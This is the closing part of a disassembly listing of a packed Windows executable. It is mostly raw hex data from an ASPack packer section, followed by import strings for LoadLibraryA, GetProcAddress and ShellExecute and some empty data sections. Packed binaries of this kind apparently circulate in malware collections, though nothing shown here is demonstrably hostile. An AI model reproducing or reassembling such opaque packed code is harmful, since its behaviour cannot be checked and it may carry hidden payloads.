		dd 773D0000h, 4, 77E7980Ah, 77E79E34h, 5 dup(0)
		dd 1000h, 4000h, 5000h,	2000h, 7000h, 1000h, 80F0h, 23F10h
		dd 34h dup(0)
		dd 1024448Bh, 354EC81h,	4C8D0000h, 0E8500424h, 3A8h, 5C248C8Bh
		dd 8B000003h, 3582494h,	52510000h, 0C244C8Dh, 40DE8h, 75C08400h
		dd 0FFC8830Ah, 354C481h, 8BC30000h, 360248Ch, 48D0000h
		dd 8D515024h, 0E80C244Ch, 5E8h,	0A75C084h, 81FFC883h, 354C4h
		dd 48BC300h, 54C48124h,	0C2000003h, 1000010h, 5040302h
		dd 0A080706h, 14100E0Ch, 28201C18h, 50403830h, 0A0807060h
		dd 0E0C0h, 0
		dd 1010000h, 2020101h, 3030202h, 4040303h, 5050404h, 505h
		dd 1010000h, 3030202h, 5050404h, 7070606h, 9090808h, 0B0B0A0Ah
		dd 0D0D0C0Ch, 0F0F0E0Eh, 11111010h, 3 dup(11111111h), 2	dup(12121212h)
		dd 56D18B51h, 8B9h, 4A395700h, 53357204h, 0FFFFF8BEh, 8A028BFFh
		dd 5C884018h, 2890C24h,	8B08428Bh, 0C10C247Ch, 0E78108E0h
		dd 0FFh, 7A8BC70Bh, 89FE0304h, 0C78B0842h, 3B047A89h, 5BD273C1h
		dd 8B04728Bh, 7C8B0842h, 0CE2B1024h, 18B9E8D3h,	2B000000h
		dd 0FFFF25CFh, 0E8D300FFh, 895FF703h, 595E0472h, 8B0004C2h
		dd 8B042444h, 89082454h, 8481h,	88918900h, 8D000000h, 81898204h
		dd 8Ch,	10005h,	8C200h,	98EC81h, 55530000h, 57D18B56h
		dd 0FB9h, 84AA8B00h, 33000000h,	247C8DC0h, 0F3F6332Ch
		dd 24BC8BABh, 0ACh, 5489EE3Bh, 15762024h, 0C8AC933h, 8C5C8B38h
		dd 8C4C8D28h, 3B404328h, 721989C5h, 17B9EBh, 74890000h
		dd 72892824h, 44728904h, 68247489h, 7489FF33h, 44C71C24h
		dd 11024h, 4C890000h, 6A8D1824h, 24748908h, 34448B14h
		dd 3E0D32Ch, 0FF81F8h, 89010000h, 0F24247Ch, 8E87h, 34448B00h
		dd 7D8928h, 33C5D8Bh, 10F983C3h, 89404589h, 7C6C3444h
		dd 758B4Dh, 1024448Bh, 1C245C8Bh, 8CBA8Bh, 0EEC10000h
		dd 25CE8B10h, 0FFh, 0FB03CB2Bh,	0D18BD88Ah, 7489FB8Ah
		dd 0C38B1C24h, 1424748Bh, 6610E0C1h, 0E9C1C38Bh, 8BABF302h
		dd 24548BCAh, 3E18320h,	7C8BAAF3h, 4C8B2424h, 448B1824h
		dd 0C6831024h, 83494004h, 0F98304C5h, 24448909h, 244C8910h
		dd 24748918h, 628D0F14h, 81FFFFFFh, 0FFh, 5F0F7401h, 0C0325D5Eh
		dd 98C4815Bh, 0C2000000h, 828B0004h, 84h, 0C085C933h, 0B48B3B76h
		dd 0AC24h, 31048A00h, 2274C084h, 88BA8Bh, 0FF250000h, 8B000000h
		dd 89688444h, 0C033870Ch, 8B31048Ah, 8D68847Ch,	47688444h
		dd 828B3889h, 84h, 72C83B41h, 5D5E5FCCh, 815B01B0h, 98C4h
		dd 4C200h, 8B565351h, 68B57F1h,	8047883h, 88B3072h, 8841118Ah
		dd 890C2454h, 8488B08h,	0C24548Bh, 8108E1C1h, 0FFE2h, 8BCA0B00h
		dd 0C2830450h, 84889F8h, 5089CA8Bh, 8F98304h, 508BD073h
		dd 8408B04h, 8B9h, 0D3CA2B00h, 244E8BE8h, 0FFFE0025h, 73C13B00h
		dd 8C968B14h, 8B000000h, 10E9C1C8h, 1C8ADB33h, 0EBD38B11h
		dd 2C463B3Bh, 463B0A73h, 83D21B28h, 2CEB0AC2h, 7330463Bh
		dd 0BBA07h, 20EB0000h, 7334463Bh, 0CBA07h, 14EB0000h, 7338463Bh
		dd 0DBA07h, 8EB0000h, 1B3C463Bh, 0FC283D2h, 798B0E8Bh
		dd 89FA0304h, 1C8B0479h, 18B996h, 0C32B0000h, 0D35FCA2Bh
		dd 964C8BE8h, 8BC10344h, 888Eh,	8B5B5E00h, 0C3598104h
		dd 8B575653h, 33D233F9h, 68B78DC0h, 89000002h, 57E85616h
		dd 8A000002h, 403A308Ch, 0BB5E0044h, 1,	0D304C683h, 40D303E3h
		dd 723AF883h, 24448BDEh, 104F8D10h, 2D16850h, 48E80000h
		dd 50FFFFFDh, 8F8D1C6Ah, 0A0h, 0FFFD3AE8h, 86A50FFh, 1308F8Dh
		dd 2CE80000h, 50FFFFFDh, 8F8D136Ah, 1C0h, 0FFFD1EE8h, 608789FFh
		dd 5F000002h, 2F5055Eh,	0C25B0000h, 448B0004h, 0D18B0824h
		dd 4244C8Bh, 8D028957h,	8890442h, 200440C7h, 89000000h
		dd 82891042h, 0A0h, 1308289h, 82890000h, 1C0h, 0BDB9C033h
		dd 89000000h, 25082h, 54828900h, 89000002h, 25882h, 60BA8B00h
		dd 89000002h, 25C82h, 8BABF300h, 4E8AACAh, 5F000000h, 810008C2h
		dd 30CECh, 0D98B5300h, 6B8D5655h, 16A5704h, 29E8CD8Bh
		dd 85FFFFFCh, 8B0E75C0h, 260BBh, 0BDB900h, 0ABF30000h
		dd 6AF633AAh, 0E8CD8B04h, 0FFFFFC0Ch, 10344488h, 13FE8346h
		dd 0BB8DED72h, 1C0h, 1024448Dh,	0E8CF8B50h, 0FFFFFC80h
		dd 0B75C084h, 5B5D5E5Fh, 30CC481h, 33C30000h, 0E8CF8BF6h
		dd 0FFFFFDE4h, 7310F883h, 608B8B15h, 8A000002h,	0D0023114h
		dd 880FE280h, 46243454h, 287560EBh, 0CD8B026Ah,	0FFFBB3E8h
		dd 3C083FFh, 4E7EC085h,	2F5FE81h, 527D0000h, 23344C8Ah
		dd 344C8848h, 0C0854624h, 36EBEA7Fh, 7511F883h,	8B036A0Eh
		dd 0FB86E8CDh, 0C083FFFFh, 6A0CEB03h, 0E8CD8B07h, 0FFFFFB78h
		dd 850BC083h, 81137EC0h, 2F5FEh, 0C6177D00h, 243444h, 0C0854846h
		dd 0FE81ED7Fh, 2F5h, 0FF738C0Fh, 548DFFFFh, 4B8D2424h
		dd 0D5E85210h, 84FFFFFBh, 5F0B75C0h, 815B5D5Eh,	30CC4h
		dd 848DC300h, 2F524h, 0A08B8D00h, 50000000h, 0FFFBB3E8h
		dd 75C084FFh, 5D5E5F0Bh, 0CC4815Bh, 0C3000003h,	11248C8Dh
		dd 51000003h, 1308B8Dh,	91E80000h, 84FFFFFBh, 5F0B75C0h
		dd 815B5D5Eh, 30CC4h, 83C6C300h, 264h, 80C03300h, 31104BCh
		dd 75030000h, 0F8834008h, 0EBF07208h, 6483C607h, 1000002h
		dd 260BB8Bh, 748D0000h,	0F5B92424h, 0F3000002h,	5D5E5FA4h
		dd 815B01B0h, 30CC4h, 1E8C300h,	90000000h, 0C7EE815Eh
		dd 0C3004445h, 8B14EC83h, 531C2444h, 0C75655h, 0
		dd 2424448Bh, 85FF3357h, 89F18BC0h, 0F10247Ch, 25B86h
		dd 104E8D00h, 0FFFC83E8h, 1003DFFh, 13730000h, 1880E8Bh
		dd 47410E8Bh, 7C890E89h, 29E91024h, 3D000002h, 2D0h, 213830Fh
		dd 50000h, 8BFFFFFFh, 7E083E8h,	8D03EDC1h, 0F8830250h
		dd 24548907h, 94850F14h, 8D000000h, 0A08Eh, 0FC36E800h
		dd 4E8BFFFFh, 56DB3308h, 0FFFF6DE8h, 309C8AFFh,	44401Eh
		dd 8F9835Eh, 4E8B3272h,	41118A04h, 18245488h, 8B044E89h
		dd 548B0C4Eh, 0E1C11824h, 0FFE28108h, 0B000000h, 8568BCAh
		dd 89F8C283h, 0CA8B0C4Eh, 83085689h, 0CE7308F9h, 8B087E8Bh
		dd 8B90C56h, 2B000000h,	0D3FB03CFh, 18B9EAh, 7E890000h
		dd 81CB2B08h, 0FFFFFFE2h, 33EAD300h, 3E856C9h, 8AFFFFFFh
		dd 4002308Ch, 8B5E0044h, 3142444h, 89C103CAh, 8A142444h
		dd 26486h, 0AE9C8B00h, 268h, 0E856D233h, 0FFFFFEDAh, 3A35948Ah
		dd 5E004440h, 0FA8BC084h, 0FF837674h, 8B717203h, 6F8D0846h
		dd 8F883FDh, 468B3172h,	0C568B04h, 8A08E2C1h, 4C884008h
		dd 4E8B1C24h, 4468908h,	1C24448Bh, 0FF25h, 0F8C18300h
		dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h,	7E8B0846h
		dd 8B90Ch, 0C82B0000h, 0EFD3C503h, 18B9h, 8468900h, 0E781CD2Bh
		dd 0FFFFFFh, 8E8DEFD3h,	130h, 0FFFB1BE8h, 8DC303FFh, 5BEBF81Ch
		dd 8087E83h, 468B3172h,	0C568B04h, 8A08E2C1h, 4C884008h
		dd 4E8B2024h, 4468908h,	2024448Bh, 0FF25h, 0F8C18300h
		dd 0C18BD00Bh, 8908F883h, 4E890C56h, 8BCF7308h,	468B0856h
		dd 8B90Ch, 0CA2B0000h, 0E8D3D703h, 18B9h, 8568900h, 0FF25CF2Bh
		dd 0D300FFFFh, 83D803E8h, 1A7303FBh, 509E8C8Bh,	85000002h
		dd 8B3074DBh, 25096h, 9E948900h, 250h, 868B1BEBh, 254h
		dd 250968Bh, 4B8D0000h,	588689FDh, 89000002h, 25496h, 508E8900h
		dd 8B000002h, 247C8B06h, 148D4114h, 89C23B38h, 8B107316h
		dd 40D12BD0h, 5088128Ah, 3B168BFFh, 8BF072C2h, 3102444h
		dd 244489C7h, 0EBF88B10h, 0E8CE8B0Bh, 0FFFFFBF7h, 1C74C084h
		dd 28247C3Bh, 0FDAB820Fh, 448BFFFFh, 38892C24h,	0B05D5E5Fh
		dd 0C4835B01h, 8C214h, 325D5E5Fh, 0C4835BC0h, 8C214h, 7	dup(0)
		dd 8, 77E7A5FDh, 77E79F93h, 77E805D8h, 0
aKernel32_dll_0	db 'kernel32.dll',0
		db 2 dup(0), 47h
aEtprocaddress	db 'etProcAddress',0
		align 4
aGetmodulehandl	db 'GetModuleHandleA',0
		db 2 dup(0), 4Ch
aOadlibrarya	db 'oadLibraryA',0
		dd 3 dup(0)
		dd 2CF6Ch, 2CF5Ch, 3 dup(0)
		dd 2CFE8h, 2CFF4h, 5 dup(0)
aShell32_dll_0	db 'shell32.dll',0
aClbw		db '—‹Bw',0
		align 4
		dd 68530000h, 456C6C65h, 75636578h, 416574h, 3FDh dup(0)
_aspack		ends

; Section 6. (virtual address 0002E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0002E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_adata		segment	para public 'DATA' use32
		assume cs:_adata
		;org 42E000h
		dd 400h	dup(0)
_adata		ends

; Section 7. (virtual address 0002F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0002F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 42F000h
		align 2000h
_idata2		ends


		end start